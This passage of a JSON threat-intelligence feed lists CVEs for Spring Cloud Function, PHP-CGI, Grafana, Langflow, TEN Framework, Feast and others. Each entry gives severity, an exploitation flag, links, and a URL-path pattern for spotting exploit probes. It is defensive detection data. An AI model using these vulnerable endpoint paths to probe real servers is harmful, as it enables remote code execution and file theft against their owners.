Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter","reference_urls":["https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f","https://github.com/cckuailong/spring-cloud-function-SpEL-RCE","https://tanzu.vmware.com/security/cve-2022-22963","https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/","https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection"]},{"tag_id":"CVE-2024-4577","tag_type":"cve","title":"PHP CGI - Argument Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/php-cgi/php-cgi.exe","reference_urls":["https://s4e.io/tools/php-cgi-code-injection-cve-2024-4577","http://www.openwall.com/lists/oss-security/2024/06/07/1","https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html","https://cert.be/en/advisory/warning-php-remote-code-execution-patch-immediately"]},{"tag_id":"CVE-2021-43798","tag_type":"cve","title":"Grafana v8.x - Arbitrary File Read","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/public/plugins","reference_urls":["https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p","https://nosec.org/home/detail/4914.html","https://github.com/jas502n/Grafana-VulnTips","https://nvd.nist.gov/vuln/detail/CVE-2021-43798","http://packetstormsecurity.com/files/165198/Grafana-Arbitrary-File-Reading.html"]},{"tag_id":"CVE-2026-33017","tag_type":"cve","title":"Langflow < 1.9.0 - Remote Code Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow","reference_urls":[]},{"tag_id":"CVE-2026-85688","tag_type":"cve","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content","reference_urls":["https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer","https://github.com/TEN-framework/ten-framework/issues/2187","https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs","https://nvd.nist.gov/vuln/detail/CVE-2026-85688"]},{"tag_id":"CVE-2019-11248","tag_type":"cve","title":"Debug Endpoint pprof - Exposure Detection","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/debug/pprof","reference_urls":["https://medium.com/bugbountywriteup/my-first-bug-bounty-21d3203ffdb0","http://mmcloughlin.com/posts/your-pprof-is-showing","https://github.com/kubernetes/kubernetes/issues/81023","https://groups.google.com/d/msg/kubernetes-security-announce/pKELclHIov8/BEDtRELACQAJ","https://nvd.nist.gov/vuln/detail/CVE-2019-11248"]},{"tag_id":"CVE-2026-23536","tag_type":"cve","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document","reference_urls":["https://access.redhat.com/security/cve/CVE-2026-23536","https://bugzilla.redhat.com/show_bug.cgi?id=2429302","https://github.com/feast-dev/feast","https://nvd.nist.gov/vuln/detail/CVE-2026-23536"]},{"tag_id":"CVE-2024-56159","tag_type":"cve","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map","reference_urls":["https://github.com/withastro/astro/security/advisories/GHSA-49w6-73cw-chjr","https://nvd.nist.gov/vuln/detail/CVE-2024-56159"]}],"data_as_of":"2026-09-29T14:55:56.082373+00:00"}